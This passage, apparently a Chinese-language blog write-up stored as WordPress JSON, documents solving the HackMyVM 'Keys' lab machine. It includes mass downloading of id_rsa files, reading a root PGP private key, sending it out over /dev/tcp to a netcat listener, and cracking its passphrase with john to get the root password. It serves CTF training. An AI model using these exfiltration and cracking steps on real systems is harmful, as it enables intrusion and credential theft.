\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ wget http:\/\/$IP\/k3ysSsSsSsSsS           \n--2024-07-24 17:07:44--  http:\/\/192.168.8.19\/k3ysSsSsSsSsS\nConnecting to 192.168.8.19:80... connected.\nHTTP request sent, awaiting response... 301 Moved Permanently\nLocation: http:\/\/192.168.8.19\/k3ysSsSsSsSsS\/ [following]\n--2024-07-24 17:07:44--  http:\/\/192.168.8.19\/k3ysSsSsSsSsS\/\nReusing existing connection to 192.168.8.19:80.\nHTTP request sent, awaiting response... 200 OK\nLength: unspecified [text\/html]\nSaving to: \u2018k3ysSsSsSsSsS\u2019\n\nk3ysSsSsSsSsS                                    [ <=>                                                                                          ]   1.11M  --.-KB\/s    in 0.04s   \n\n2024-07-24 17:07:45 (31.2 MB\/s) - \u2018k3ysSsSsSsSsS\u2019 saved [1160047]\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ ls -la\ntotal 1996\ndrwxr-xr-x   2 kali kali    4096 Jul 24 17:07 .\ndrwxr-xr-x 114 kali kali    4096 Jul 18 11:25 ..\n-rw-r--r--   1 kali kali 1160047 Jul 24 17:07 k3ysSsSsSsSsS\n-rw-r--r--   1 kali kali  811203 Oct 27  2021 my_personal_wordlist.txt\n-rw-r--r--   1 kali kali    6869 Jul 24 15:46 temp\n-rw-r--r--   1 kali kali   45666 Oct 27  2021 world_of_keys.jpg\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ head k3ysSsSsSsSsS                     \n<html>\n<head><title>Index of \/k3ysSsSsSsSsS\/<\/title><\/head>\n<body>\n<h1>Index of \/k3ysSsSsSsSsS\/<\/h1><hr><pre><a href="..\/">..\/<\/a>\n<a href="id_rsa-0001">id_rsa-0001<\/a>                                        27-Oct-2021 19:48                 960\n<a href="id_rsa-0002">id_rsa-0002<\/a>                                        27-Oct-2021 19:48                 960\n<a href="id_rsa-0003">id_rsa-0003<\/a>                                        27-Oct-2021 19:48                 960\n<a href="id_rsa-0004">id_rsa-0004<\/a>                                        27-Oct-2021 19:48                 960\n<a href="id_rsa-0005">id_rsa-0005<\/a>                                        27-Oct-2021 19:48                 960\n<a href="id_rsa-0006">id_rsa-0006<\/a>                                        27-Oct-2021 19:48                 960<\/code><\/pre>\n
\u53d1\u73b0\u5b58\u5728\u540e\u7f00\uff0c\u5c1d\u8bd5\u5199\u4e2a\u811a\u672c\u8fdb\u884c\u540e\u7f00\u6587\u4ef6\u7684\u63d0\u53d6\uff1a<\/p>\n
for i in {999..10000}; do wget http:\/\/$IP\/k3ysSsSsSsSsS\/id_rsa-$i; done<\/code><\/pre>\n
-rw-r--r--   1 kali kali     960 Oct 27  2021 id_rsa-9992\n-rw-r--r--   1 kali kali     960 Oct 27  2021 id_rsa-9993\n-rw-r--r--   1 kali kali     960 Oct 27  2021 id_rsa-9994\n-rw-r--r--   1 kali kali     960 Oct 27  2021 id_rsa-9995\n-rw-r--r--   1 kali kali     960 Oct 27  2021 id_rsa-9996\n-rw-r--r--   1 kali kali     960 Oct 27  2021 id_rsa-9997\n-rw-r--r--   1 kali kali     960 Oct 27  2021 id_rsa-9998\n-rw-r--r--   1 kali kali     960 Oct 27  2021 id_rsa-9999\n-rw-r--r--   1 kali kali 1160047 Jul 24 17:07 k3ysSsSsSsSsS\n-rw-r--r--   1 kali kali  811203 Oct 27  2021 my_personal_wordlist.txt\n-rw-r--r--   1 kali kali    6869 Jul 24 15:46 temp\n-rw-r--r--   1 kali kali   45666 Oct 27  2021 world_of_keys.jpg\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ ls -la | grep -v 960                   \ntotal 38244\ndrwxr-xr-x   2 kali kali  258048 Jul 24 17:16 .\ndrwxr-xr-x 114 kali kali    4096 Jul 18 11:25 ..\n-rw-r--r--   1 kali kali     980 Oct 27  2021 id_rsa-4695\n-rw-r--r--   1 kali kali 1160047 Jul 24 17:07 k3ysSsSsSsSsS\n-rw-r--r--   1 kali kali  811203 Oct 27  2021 my_personal_wordlist.txt\n-rw-r--r--   1 kali kali    6869 Jul 24 15:46 temp\n-rw-r--r--   1 kali kali   45666 Oct 27  2021 world_of_keys.jpg\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ cat id_rsa-4695\nHaHa you found me :)\n\nhere is a little note for you:-\n\nIf you get stuck, Remember I'm here just for you                                                                                                                                                                                                       \n<\/code><\/pre>\n
\u5c1d\u8bd5\u8fdb\u4e00\u6b65\u641c\u96c6\u4fe1\u606f\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ stegsnow -C id_rsa-4695   \n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ ls -la | grep -v 960\ntotal 38244\ndrwxr-xr-x   2 kali kali  258048 Jul 24 17:16 .\ndrwxr-xr-x 114 kali kali    4096 Jul 18 11:25 ..\n-rw-r--r--   1 kali kali     980 Oct 27  2021 id_rsa-4695\n-rw-r--r--   1 kali kali 1160047 Jul 24 17:07 k3ysSsSsSsSsS\n-rw-r--r--   1 kali kali  811203 Oct 27  2021 my_personal_wordlist.txt\n-rw-r--r--   1 kali kali    6869 Jul 24 15:46 temp\n-rw-r--r--   1 kali kali   45666 Oct 27  2021 world_of_keys.jpg\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ curl -s http:\/\/$IP\/id_rsa.zip                                                            \n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ wget http:\/\/$IP\/id_rsa.zip\n--2024-07-24 17:20:41--  http:\/\/192.168.8.19\/id_rsa.zip\nConnecting to 192.168.8.19:80... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 69167472 (66M) [application\/zip]\nSaving to: \u2018id_rsa.zip\u2019\n\nid_rsa.zip                                   100%[=============================================================================================>]  65.96M  69.9MB\/s    in 0.9s    \n\n2024-07-24 17:20:42 (69.9 MB\/s) - \u2018id_rsa.zip\u2019 saved [69167472\/69167472]\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ ls -la id_rsa.zip   \n-rw-r--r-- 1 kali kali 69167472 Oct 29  2021 id_rsa.zip\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ mkdir empty\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ ls -la | grep -v 960         \ntotal 105800\ndrwxr-xr-x   3 kali kali   258048 Jul 24 17:23 .\ndrwxr-xr-x 114 kali kali     4096 Jul 18 11:25 ..\ndrwxr-xr-x   2 kali kali     4096 Jul 24 17:23 empty\n-rw-r--r--   1 kali kali      980 Oct 27  2021 id_rsa-4695\n-rw-r--r--   1 kali kali 69167472 Oct 29  2021 id_rsa.zip\n-rw-r--r--   1 kali kali  1160047 Jul 24 17:07 k3ysSsSsSsSsS\n-rw-r--r--   1 kali kali   811203 Oct 27  2021 my_personal_wordlist.txt\n-rw-r--r--   1 kali kali     6869 Jul 24 15:46 temp\n-rw-r--r--   1 kali kali    45666 Oct 27  2021 world_of_keys.jpg\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ vim shouxialiuqing.txt\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ cat shouxialiuqing.txt       \nid_rsa.zip\nempty\nid_rsa-4695\nid_rsa.zip\nk3ysSsSsSsSsS\nmy_personal_wordlist.txt\ntemp\nworld_of_keys.jpg\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ rsync -av --delete \/home\/kali\/temp\/key\/empty\/ \/home\/kali\/temp\/key\/ --exclude-from=shouxialiuqing.txt\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ ls\nempty  id_rsa-4695  id_rsa.zip  k3ysSsSsSsSsS  my_personal_wordlist.txt  temp  world_of_keys.jpg<\/code><\/pre>\n
\u7ee7\u7eed\u770b\u5427\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ unzip id_rsa.zip\n.......\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/\u2026\/key\/id_rsa\/2048\/private]\n\u2514\u2500$ ls | grep 4695      \n2f308b527109ce4f8bf6e1309f46959d-31598\n3532d425c2616a6b4695c773a90f0f97-15654\n5011c57c3b9f469550ed799c5ae1dcab-29639\n56c523c4a68ec1e35d001c0e4a946950-19140\n6d06b5d7b1469576df7c0b1a101b0021-10252\n75ac43ece8c2d46954d4e49e4508eae8-28697\n981792b07bbb28a146951c361b39dbd8-22707\n9cd32e46024469513b452956a5194d55-23773\na4695342dfa09db16dbaa7e6189816c2-12545\na473e40621001f61dbf97b310b1caefb-4695\na69371809f8c60e4695be56a790ffe02-29774\na8c6bc8fe93e3e46952e2b221aca3e12-11043\nb43cdbc46950ef6bb6c90196b31f4695-16387\nb72b00c6cf53f4ed8656b2ad11a54695-6733\nc9b2fe64695c22c2fd94a5a1dba79e09-19864\ncf4346954685a727bb87689f55f5500e-18671\nd34cfdc476e04ede3c469587fd374438-27252\ndc740ebf5f4275f3b46950ddce1701e7-27507\neb153e1cf1a12fb93c3f004350b58228-14695\nf456b9ed6dbffec7c8feccbaa1cccc41-24695\nff8c4e5cbee194695eb6b533f9b5e790-9118\nffd29f89285c25946958cea0e62a271a-26059<\/code><\/pre>\n
\u5c1d\u8bd5\u5bf9\u524d\u9762\u7684\u51e0\u4e2abash<\/code>\u7528\u6237\u540d\u8fdb\u884c\u8fde\u63a5\uff1a<\/p>\n
\"image-20240725053207264\"<\/div><\/p>\n
\u63d0\u6743<\/h2>\n
steve@keys:~$ sudo -l\n\nWe trust you have received the usual lecture from the local System\nAdministrator. It usually boils down to these three things:\n\n    #1) Respect the privacy of others.\n    #2) Think before you type.\n    #3) With great power comes great responsibility.\n\n[sudo] password for steve: \nsudo: a password is required\nsteve@keys:~$ ls -la\ntotal 32\ndrwx------ 3 steve steve 4096 Oct 28  2021 .\ndrwxr-xr-x 6 root  root  4096 Oct 28  2021 ..\nlrwxrwxrwx 1 root  root     9 Oct 28  2021 .bash_history -> \/dev\/null\n-rw-r--r-- 1 steve steve  220 Oct 27  2021 .bash_logout\n-rw-r--r-- 1 steve steve 3526 Oct 27  2021 .bashrc\n----r----- 1 root  steve  547 Oct 28  2021 .important_message.asc\n-rw-r--r-- 1 steve steve  807 Oct 27  2021 .profile\ndrwx------ 2 steve steve 4096 Oct 28  2021 .ssh\n-r-------- 1 steve steve   21 Oct 28  2021 u__s__e__r.txt\nsteve@keys:~$ cat u__s__e__r.txt \n***************VDll6\nsteve@keys:~$ cat .important_message.asc \n-----BEGIN PGP MESSAGE-----\nVersion: BCPG C# v1.6.1.0\n\nhQEMA6B1gxpXS1ctAQf+PTWuk5+Mi6VGX3GOTNBe0S9Yci4pAOvOng+ORZLW\/Q2m\nA3ckvwiPlAWZiu7J2\/TXjhRautusiXhYRb\/8oX+JsXJ\/2VZu8YEJGgWuySewxYm5\nr8L0IPlKOaJLLsf6Vl4EtwTgXo7Zms8xNB8PyUwmEkkLvyFGFC\/wNIf7sJZ31U\/Z\n5iRooTYPAfwLXsc\/0sQ7VeeQT++t6547QwTiw9fpKFblwzjypJfIioNWCnoLpfA5\n6xnBkkYPpr0w1zItzSBw5FHQKM0mYuf1WdAyfJ6zUytcqeSTZMN0qYkkmJfKN580\naD84m0juc4bJJVF+5pDuduc1j5Va73Lxx46P9TNVhMlBTCDy7uOPAtvrqnqLeYHH\n1zhi\/OqeFoS59ASvjWsfyur+wRAv6uIMuywIxD7usKIsRko6JkNN\/\/ngcbBCudzX\nRA4=\n=voUx\n-----END PGP MESSAGE-----\n\nsteve@keys:~$ find \/ -group steve 2>\/dev\/null | grep -v proc\n\/opt\/number_guessing_game.py\n........\n\/var\/mail\/private_key.gpg\n........\n\/etc\/ssh\/ssh_config.d\/.steve_id_rsa.pub\n\/home\/steve\n\/home\/steve\/.bash_logout\n\/home\/steve\/.bashrc\n\/home\/steve\/.profile\n\/home\/steve\/.ssh\n\/home\/steve\/.ssh\/just_keys\n\/home\/steve\/u__s__e__r.txt\n\/home\/steve\/.important_message.asc<\/code><\/pre>\n
\u6328\u4e2a\u770b\u4e00\u4e0b\uff1a<\/p>\n
steve@keys:~$ cat \/opt\/number_guessing_game.py\n#!\/usr\/bin\/python3\n\nimport random\nimport os\n\nrand = random.randint(1000, 9999)\nsecret_number = None\nprint("\\nWelcome to the guessing game :)\\n\\nNote:- You can guess Secret Number between 1000-9999\\nor You can Give me those 4 digits Secret Number to read Steve's id_rsa.pub Key\\n")\nwhile secret_number != rand:\n    secret_number = input("Enter Secret Number: ")\n    try:\n        secret_number = int(secret_number)\n    except ValueError:\n        print("only integer allowed")\n        continue\n    if len(str(secret_number)) == 4:\n        secret_number = int(secret_number)\n    else:\n        print("only 4 digits are allowed")\n    if secret_number == rand or secret_number == 4695:\n        id_rsa = os.popen("cat \/etc\/ssh\/ssh_config.d\/.steve_id_rsa.pub | rev").read()\n        print(f"\\n{id_rsa}")\n        break\nsteve@keys:~$ cat \/var\/mail\/private_key.gpg\n-----BEGIN PGP PRIVATE KEY BLOCK-----\nVersion: BCPG C# v1.6.1.0\n\nlQOsBGF6hOgBCACasV92gCKq4oK\/LBX1n7xF6aR9Lf642MCjVE9vnP8q2YilmKpd\nUo27a2nDzX3ycLXmJmSX8rmwpPaX9GALSpBtRoJsR0CHnQUFZC9ZDkOKa7yUwZLS\n\/rTyTtgBjQbdvZh3c4w0sQpkQlOjtULjC8Pt7N7JwbYUgIFa5z1kBko8L7XZTIKX\nVNNFjbBPU9UUiTmTHUUT\/ORvtNQqpk7InUlZFGXw9Mu84oDtBwdcYIK1ZrbLkMRS\ncDvm\/MhQqEiyeLoPgpDztuOi81E++up11INqe56lpE+Xj9AHuJKBaM7Ezl0S2mGa\nVNibtKcwBv9h+bypvwBVyuo\/B\/CDwDsJG8jFABEBAAH\/AwMCv3bZNgDf2\/RghH1o\nwytUtoOwfmXGzM1MFFizg0I9n8PaeT41Z1SY0HX0z92spJYP1WC0JA7wQWWzgz0S\nB+7G4cigyQkUXf9Z9TkXF0gae7BsUGBr6A5jukn0Le9VYBqBbwsgQ5SddW0FgtgY\npkENDXHV0cV+yZShUbFa7UPMHXJ43XasvYtCgbx1gAKYgswxuwZF9xBXRVfNcvRS\nul9Q\/kBbABn9JxkenvRDdMrSkj5rlgF6PZ3tz9saiwbkLEsxKkX2yUswcj5uZhcn\numPpebHXGW1cUoy5H+oeyzcvpXkBfpMr4\/iLKaatly2\/0CoKm6ECZ1pZfxILl2g1\n1MaKNztjC5G8880UrvdEDSyX7x88ZLKD6RRykh6KAIDCi9S3jfgbf8Tjfa0fihEF\nNZjDrbu4KQJmDphCpGUXR5xGr86N7qFoEE\/NLLq9R46QS+DhvleVxzELUc3ywUzM\nAwN\/BXAPsUMTrLwvB+rABLRo1y6vXrM\/YqdSuI4f9L\/8+PikyYFjy7ad\/r0EgSje\njkzS9b3hDfAMsmnIb1cztpUiyV1ZDKYXTOYkroZXyEwowW25fVEPguROv\/El1X7D\n37wza1yDWiW+jdbCN0CpApyJQcNME+CIS\/vW\/+LMqr8OHbSdCeHm2s1aVcR0qGFr\niiAIm5z3FIlDOCfs5n6o3ISd7JFSTyHAqihdp8WhY7fg2ugY6GrTQoKpGW8\/Hjhg\n65oQDIDKGim8p2d39\/S6xBiqmerU3vGhA4OoqtR4KsWkdDrX1gaRhpP\/j7VK37E5\n3tdxQRbiUVckJm73hAuiyLzT+8feDqriQH5ZeDPHXPIeIobY6snPkiaHJSCMhhoY\nzX8KReGKBHFDHlVwuoRAQq0zK5ZsdT1HY6QFoJdF6bQNcm9vdEBrZXlzLmNvbYkB\nHAQQAQIABgUCYXqE6AAKCRCgdYMaV0tXLSTgB\/44M8m3aMcQHlq3Mti13Vje2Ykm\nRbST0cE\/H8pBbWHoTXOIxiq1740ljh8gIE0\/MCxP59m9CXqEJJwG96wo1YtUnENJ\ngKCmgRp9fYGAxvREgU3u\/9PouJmkG8d72dKV6eXaKCaqLuOezz5WvbCvC5BXyyVA\nDArFV2KKC7WosG+o8L8viElXb3rTIws\/6gFYxFGUujatvt049SoCMCwX8rDIkHDe\nJAXMIgQUZZzjO+1Cwn47ipI91s53A3VCNfCnmXQQ6ILt18gU7vV49+MZ8zQb2LKT\nNdxrmDHubOsJI0ws3iKeUmKEK7W5w\/jZ7KsecKWHybbOzTZ+LFuLezcbHXtm\n=l+1O\n-----END PGP PRIVATE KEY BLOCK-----<\/code><\/pre>\n
\u7834\u89e3gpg<\/h3>\n
\u53d1\u73b0\u7834\u89e3\u8fd9\u4e2a\u5bc6\u94a5\u6709\u641e\u5934\uff0c\u4f20\u8fc7\u6765\u8bd5\u8bd5\uff1a<\/p>\n
steve@keys:~$ cat \/var\/mail\/private_key.gpg > \/dev\/tcp\/192.168.8.18\/1234\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ nc -lvnp 1234 > private_key.gpg\nlistening on [any] 1234 ...\nconnect to [192.168.8.18] from (UNKNOWN) [192.168.8.19] 58976\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ gpg2john private_key.gpg > hash\n\nFile private_key.gpg\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key]\n\u2514\u2500$ john --wordlist=\/usr\/share\/wordlists\/rockyou.txt hash\nUsing default input encoding: UTF-8\nLoaded 1 password hash (gpg, OpenPGP \/ GnuPG Secret Key [32\/64])\nCost 1 (s2k-count) is 65536 for all loaded hashes\nCost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes\nCost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 3 for all loaded hashes\nWill run 2 OpenMP threads\nPress 'q' or Ctrl-C to abort, almost any other key for status\nyoudidit         (root@keys.com)     \n1g 0:00:02:00 DONE (2024-07-24 17:42) 0.008286g\/s 21327p\/s 21327c\/s 21327C\/s youdidit123..youdidit\nUse the "--show" option to display all of the cracked passwords reliably\nSession completed.<\/code><\/pre>\n
\u53ef\u4ee5\u8fdb\u884c\u5bfc\u5165\u5bc6\u94a5\u4e86\uff1a<\/p>\n
steve@keys:~$ gpg --import \/var\/mail\/private_key.gpg\ngpg: directory '\/home\/steve\/.gnupg' created\ngpg: keybox '\/home\/steve\/.gnupg\/pubring.kbx' created\ngpg: \/home\/steve\/.gnupg\/trustdb.gpg: trustdb created\ngpg: key A075831A574B572D: public key "root@keys.com" imported\ngpg: key A075831A574B572D: secret key imported\ngpg: Total number processed: 1\ngpg:               imported: 1\ngpg:       secret keys read: 1\ngpg:   secret keys imported: 1\nsteve@keys:~$ gpg --decrypt .\/.important_message.asc\ngpg: WARNING: cipher algorithm CAST5 not found in recipient preferences\ngpg: encrypted with 2048-bit RSA key, ID A075831A574B572D, created 2021-10-28\n      "root@keys.com"\nRoot Password is th3_h!dd3n_m3ss4g3gpg: WARNING: message was not integrity protected\ngpg: Hint: If this message was created before the year 2003 it is\n     likely that this message is legitimate.  This is because back\n     then integrity protection was not widely used.\ngpg: Use the option '--ignore-mdc-error' to decrypt anyway.\ngpg: decryption forced to fail!<\/code><\/pre>\n
\u62ff\u4e0broot\uff01<\/p>\n
\"image-20240725054722807\"<\/div><\/p>\n
\u53c2\u8003<\/h2>\n
https:\/\/pwn.ar\/n\/keys<\/a><\/p>\n
https:\/\/youtu.be\/-P3TLz7cx18<\/a><\/p>\n
https:\/\/28right.blogspot.com\/2021\/11\/hackmyvm-keys-writeup.html<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
Keys \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/key] \u2514\u2500$ sudo arp-scan -l – […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,18],"tags":[],"class_list":["post-766","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/766","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=766"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/766\/revisions"}],"predecessor-version":[{"id":767,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/766\/revisions\/767"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=766"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=766"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=766"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}